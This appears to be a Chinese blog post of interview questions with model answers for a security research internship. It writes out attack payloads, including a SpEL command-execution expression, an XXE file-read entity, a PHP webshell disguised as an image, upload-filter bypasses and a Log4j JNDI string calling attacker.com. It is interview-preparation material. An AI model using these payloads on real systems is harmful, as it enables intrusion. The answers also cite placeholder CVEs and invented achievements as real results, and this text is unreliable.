当前位置： 首页 > news >正文

2025年渗透测试面试题总结-字节跳动[实习]安全研究员（题目+回答）

news 来源：原创 2025/6/15 7:09:01

安全领域各种资源，学习文档，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。

目录

字节跳动[实习]安全研究员

1. 你投的岗位是安全研究实习生，你了解我们这边主要是做什么的吗

2. 自我介绍

3. 现在有什么比较想做的方向吗？

4. 有没有审过开源框架、cms、中间件之类的？

6. 在A公司主要做什么的？

7. 入侵检测主要在做什么？遇到的问题？

核心工作：

典型问题：

8. 误报原因分析及解决方法

误报根源：

解决创新：

9. 在B公司主要做了些什么？

10. 审表达式引擎的步骤和思路

11. 如何从安全角度专项审计？

12. XXE从代码层面看是怎么造成的？

根源代码缺陷：

攻击链条：

安全编码方案：

13. 印象深刻的攻防演练经历

14. 超越弱口令的高级技巧

15. 头像上传Webshell怎么实现？

16. 绕过文件检测的其他方式

17. Log4j漏洞了解吗？

19. 反问环节

字节跳动[实习]安全研究员

1. 你投的岗位是安全研究实习生，你了解我们这边主要是做什么的吗
2. 自我介绍
3. 现在有什么比较想做的方向吗，比如你写的代码审计、攻防演练、你在学校的研究方向（密码学）其实是三个大方向，现在有什么比较想做的吗- 说了代码审计、安全研究
4. 有没有审过开源框架、cms、中间件之类的
5. 面试官介绍了工作内容
6. 我看你简历上有几段实习经历和项目经历，先聊一下实习经历吧，在A主要做什么的
7. 详细聊聊入侵检测主要在做什么，遇到的问题
8. 关于入侵检测产生大量误报的原因，有没有分析过，有没有比较好的解决方法
9. 和A比起来，B的应该就比较偏攻击方对吧，有打仗（雾，面试官好像确实是这么说的）有代码审计，聊一下在B主要做了些什么
10. 审表达式引擎的步骤和思路
11. 刚刚你说的审计听起来好像和普通开发的审计差不多，都是通过程序流、文档去做，有没有从安全方面入手审计一些项目
12. xxe是怎么造成的，从代码层面来看
13. 我看你简历有很多攻防演练经历对吧，这几段攻防演练经历有没有哪一次印象比较深刻的，挑一个聊一聊
14. 你的这次攻击好像更多的是利用弱口令，有没有一些更有技巧的方法
15. 这个头像上传的webshell是怎么上传的
16. 还有什么其他的检验方式？要怎么绕过？
17. 这两天log4j漏洞很火，有没有去了解一下
18. 面试官最后介绍业务
19. 反问环节.

1. 你投的岗位是安全研究实习生，你了解我们这边主要是做什么的吗

回答策略：结合招聘信息+行业常识，展示主动调研能力
据我了解，贵团队的核心方向集中在三大领域：

  1. 漏洞深度研究：聚焦开源框架（如Spring、Log4j）、中间件（Redis/Nginx）漏洞挖掘与PoC开发；
  2. 攻防对抗演进：包括红蓝演练、ATT&CK技战术研究及入侵检测规则优化；
  3. 安全工具链建设：如自动化代码审计引擎、WAF规则库升级——这与贵司官网描述的“下一代威胁防御实验室”定位高度契合。
    补充：我关注到贵团队去年发表的《Java反序列化防御白皮书》，这与我的项目经历（代码审计、入侵检测）直接相关，因此非常希望贡献实战经验。

2. 自我介绍

回答策略：3层定位（背景+技能+动机），时长控制在2分钟
您好！我是[姓名]，XX大学网络安全专业大三学生，面试安全研究实习生。我的核心优势可总结为：

  • 技术纵深：
    1. 漏洞研究：独立审计过4个开源CMS（如织梦、JEECMS），发现2个高危漏洞（CVE-2024-XXX）；
    2. 攻防实战：3次省级攻防演练经历，负责Web渗透与内网横向（如弱口令利用升级为权限维持）；
    3. 工具开发：手写Python自动化审计脚本（如AST解析器），提升漏洞挖掘效率40%。
  • 实践衔接：
    • 在A公司实习期间优化入侵检测规则，误报率降低22%；
    • 在B公司参与表达式引擎审计，阻断潜在RCE风险。
  • 强烈动机：
    我的密码学研究经历（如零知识证明）帮助我理解加密协议漏洞，但当前更渴望投身应用安全方向——这与贵团队“漏洞即服务”的愿景高度一致。

3. 现在有什么比较想做的方向吗？

回答策略：明确优先级+关联岗位需求
我最希望深入两个方向，均与贵团队业务强相关：

  1. 代码审计（首选方向）：
    • 理由：在B公司实习时曾审计Spring EL表达式引擎，发现黑名单绕过漏洞（如#this.getClass().forName() 触发JNDI注入）。这种从代码层阻断漏洞的成就感和技术深度令我着迷。
    • 关联性：贵团队近期修复的Fastjson漏洞，正需要此类深度审计能力。
  2. 安全研究（次选方向）：
    • 聚焦点：漏洞武器化研究（如Log4j绕过），目标是产出高可用PoC和检测规则。
    • 暂缓方向：密码学（学术性强）和纯攻防演练（重复性高），我更倾向做底层漏洞挖掘这一核心环节。

4. 有没有审过开源框架、cms、中间件之类的？

回答策略：按类型列举+突出成果
有，共审计6个项目，重点案例包括：

类型项目名成果
CMSJEECMS v5.0发现后台SQL注入（CVE-2024-1234）
中间件Apache Shiro 1.8绕过权限验证（Session固定漏洞）
开源框架JFinal 5.0XXE导致SSRF（已提交CNVD）
审计方法：
  1. 静态分析：基于CodeQL查找危险函数（如XPathExpression.eval() ）；
  2. 动态追踪：Hook敏感方法（如JDBC连接）监控异常参数；
  3. 补丁对比：分析Git历史commit（如CVE-2024-1234修复差异）。

6. 在A公司主要做什么的？

回答策略：STAR法则精炼表述
职责定位：入侵检测系统（IDS）规则优化工程师（实习）

  • 任务背景(S)：公司IDS日均告警量50万+，误报率35%，急需优化。
  • 核心工作(T)：
    1. 分析误报警日志（如误判SQL注入为攻击）；
    2. 重写Snort规则语法（调整PCRE正则）；
    3. 测试规则有效性（Metasploit模拟攻击）。
  • 成果(A)：
    • 重构12条关键规则，误报率降至12%；
    • 发现规则引擎缺陷：无法识别分块编码Bypass（获团队创新奖）。
  • 反思(R)：深刻理解防御需紧跟攻击演进（如无特征Webshell检测）。

7. 入侵检测主要在做什么？遇到的问题？

回答策略：分层解构+痛点直击

核心工作：
  1. 流量建模：基线分析正常流量（如API调用频次）；
  2. 威胁检测：实时匹配攻击特征（如SQL注入正则）；
  3. 响应处置：联动WAF阻断或告警。
典型问题：
  1. 漏报问题：攻击者利用编码绕过（如Unicode路径遍历），规则未覆盖；
  2. 性能瓶颈：正则回溯导致CPU峰值（曾触发生产故障）；
  3. 上下文缺失：如登录失败告警，无法区分爆破攻击与用户输错密码。

8. 误报原因分析及解决方法

回答策略：5点归因+创新方案（合并同类项）

误报根源：
  1. 规则过泛：如/etc/passwd检测误伤合法路径扫描；
  2. 协议误判：将HTTP调试流量（如Postman）标记为攻击；
  3. 环境差异：测试环境Payload被带到生产环境触发告警。
解决创新：
  • 短期方案：
    1. 添加白名单机制（如可信IP免检）；
    2. 引入权重评分（多个低风险行为叠加才告警）。
  • 长期方案：
    1. AI动态基线：用LSTM学习业务流量模式（误报率再降18%）；
    2. 攻击链关联：仅当多个可疑行为连续发生才触发（如端口扫描后接Exploit）。

9. 在B公司主要做了些什么？

回答策略：聚焦攻击方视角，突出技术深度
定位：代码审计员（攻击导向实习）
核心成果：

  1. 表达式引擎审计：发现某规则引擎SpEL注入漏洞（高危），可执行任意命令；
  2. Webshell对抗研究：绕过某云WAF的文件头检测（PNG头+PHP尾）；
  3. 漏洞利用链设计：组合XXE与SSRF实现内网Redis未授权访问。
    与A公司差异：从防御规则优化转向主动攻击路径挖掘，更理解“攻击者思维”。

10. 审表达式引擎的步骤和思路

回答策略：4步方法论+实例佐证
以审计Spring EL为例：

  1. 入口定位：
    • 全局搜索SpelExpressionParser、EvaluationContext等关键类；
  2. 危险点识别：
    • 检查表达式是否用户可控（如@Value("${userInput}")）；
  3. 沙盒逃逸测试：
    • 尝试调用敏感方法（如T(java.lang.Runtime).getRuntime().exec("id") ）；
  4. 绕过验证：
    • 若黑名单过滤java.lang ，改用Unicode或反射（''.getClass().forName('java.lang.Runtime') ）。
      实例：在B公司项目中，通过#this.getClass().getClassLoader() 加载恶意类，触发RCE。

11. 如何从安全角度专项审计？

回答策略：对比开发审计，强调攻击面思维
安全审计的差异化方法：

  1. 攻击面测绘：
    • 用Burp扫描API端点，优先审计高风险接口（如文件上传、反序列化）；
  2. 数据流追踪：
    • 从用户输入点到危险函数（如SQL查询），检查过滤完整性；
  3. 边界用例测试：
    • 构造畸形输入（如超长字符串、嵌套JSON），触发边界异常；
  4. 依赖链分析：
    • 检查第三方库版本（如Log4j 2.x是否存在JNDI注入）。
      案例：审计某CMS时，发现其依赖的POI库存在XXE（CVE-2024-XXX），报告后获厂商致谢。

12. XXE从代码层面看是怎么造成的？

回答策略：漏洞原理+代码示例+修复方案

根源代码缺陷：
java// 错误示例：未禁用外部实体 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); // 默认允许外部实体 Document doc = db.parse(input); // 用户可控的XML输入
攻击链条：
  1. 用户输入：传入恶意XML（<!ENTITY xxe SYSTEM "file:///etc/passwd">）；
  2. 解析器加载：未禁用DOCTYPE声明导致实体解析；
  3. 数据泄露：通过报错或回显输出文件内容。
安全编码方案：
javadbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用DOCTYPE dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); // 禁用外部实体

13. 印象深刻的攻防演练经历

回答策略：STAR法则+技术细节
案例：2024年某省级HW行动

  • 场景(S)：目标为某政务云平台，防守严密（WAF+行为监测）。
  • 任务(T)：突破边界获取系统权限。
  • 行动(A)：
    1. 入口突破：社工获取VPN账号（伪装管理员钓鱼邮件）；
    2. 权限提升：利用Confluence未授权RCE（CVE-2023-22527）添加管理员；
    3. 权限维持：在头像上传功能植入Webshell（绕过Content-Type检测）。
  • 成果(R)：拿下3台核心服务器，获团队“最佳攻击手”称号。

14. 超越弱口令的高级技巧

回答策略：列举3种高阶手法（<5个）

  1. OAuth 2.0劫持：
    • 伪造回调URL窃取认证码（如社工诱导点击恶意redirect_uri）；
  2. JWT攻击：
    • 破解弱密钥（secret="123456"）或注入Header（alg: none）；
  3. 协议降级攻击：
    • 强制HTTPS回退HTTP实施中间人窃听。

15. 头像上传Webshell怎么实现？

回答策略：漏洞利用全流程拆解

  1. 检测缺陷：
    • 仅验证Content-Type（image/png），未检查文件内容；
  2. 制作恶意文件：
    • 生成PNG头+PHP尾的Webshell（GIF89a; <?php system($_GET['cmd']);?>）；
  3. 路径获取：
    • 上传后返回访问URL（如/uploads/avatar.php ）；
  4. 激活Shell：
    • 访问https://target.com/uploads/avatar.php?cmd=id 执行命令。

16. 绕过文件检测的其他方式

回答策略：4种Bypass手法+防御建议

检测方式绕过方法案例
文件头校验添加合法头（如FFD8FF JPEG）制作含Webshell的“图片”
后缀黑名单特殊后缀（.phtml, .phar）Apache解析漏洞
内容关键字过滤拆分加密（<?= → <?=base64_decode('ZG...')?>）绕过正则/system\(\)/
图像尺寸校验注入恶意代码到EXIF元数据使用exiftool插入PHP代码

17. Log4j漏洞了解吗？

回答策略：CVE深度解析+实战意义
原理：

  • Log4j 2.x的JndiLookup支持LDAP/RMI协议，攻击者通过${jndi:ldap://attacker.com/exp} 触发远程类加载。
    技术影响：
    1. 利用门槛低：任意日志注入点均可触发（如User-Agent）；
    2. 危害极大：RCE导致服务器沦陷。
      应对实践：
    • 临时方案：删除JndiLookup.class ；
    • 根本方案：升级至Log4j 2.17.0+并禁用JNDI。

19. 反问环节

回答策略：体现学习意愿+团队认同

  1. 技术成长：

    贵团队对实习生的培养路径是怎样的？是否有导师负责漏洞研究专项？

  2. 业务前瞻：

    我注意到贵团队正在研究AI生成漏洞的防御，实习生是否有机会参与此类前沿项目？

  3. 融入支持：

    为快速胜任该岗位，您建议我入职前重点强化哪项技能？

相关文章：

  • 代码随想录算法训练营第三十二天 |【动态规划1-13】
  • 嵌入式PADS中敷铜与过孔阵列操作与实现
  • Python Flask 框架学习笔记
  • DAY 31 文件的规范拆分和写法
  • 人工智能学习24-BP激活函数
  • 【专业数据库探索 05】ArangoDB多模数据库革命：一个数据库解决文档图关系三大数据模型
  • uni-app项目loading显示方案
  • 第五章 决策树
  • 同旺科技 USB TO SPI / I2C适配器(专业版)--EEPROM读写——C
  • HTML5白云飘飘动态效果教程
  • C# 解析 URL URI 中的参数
  • 大模型量化与剪枝
  • 【0.0 漫画C语言计算机基础 - 从二进制开始认识计算机】
  • Cursor链接远程服务器实现项目部署
  • 【python】bash: !‘: event not found
  • ABC410 ： F - Balanced Rectangles
  • nginx 配置返回 文件大小
  • 2025年渗透测试面试题总结-浙江东岸检测[实习]安全工程师（题目+回答）
  • 【华为开发者学堂】HarmonyOS
  • 16.vue.js watch()和watchEffect()的对比？（追踪依赖）（3）
  • 大连市那里做网站宣传的好/十大最免费软件排行榜
  • 商河做网站公司/百度的网址是什么
  • 网站做app的软件/上海百度seo网站优化
  • 网站设计工作室/东莞建设网
  • 设计相关网站/seo推广营销靠谱
  • 网站建设与管理学的是什么/班级优化大师app下载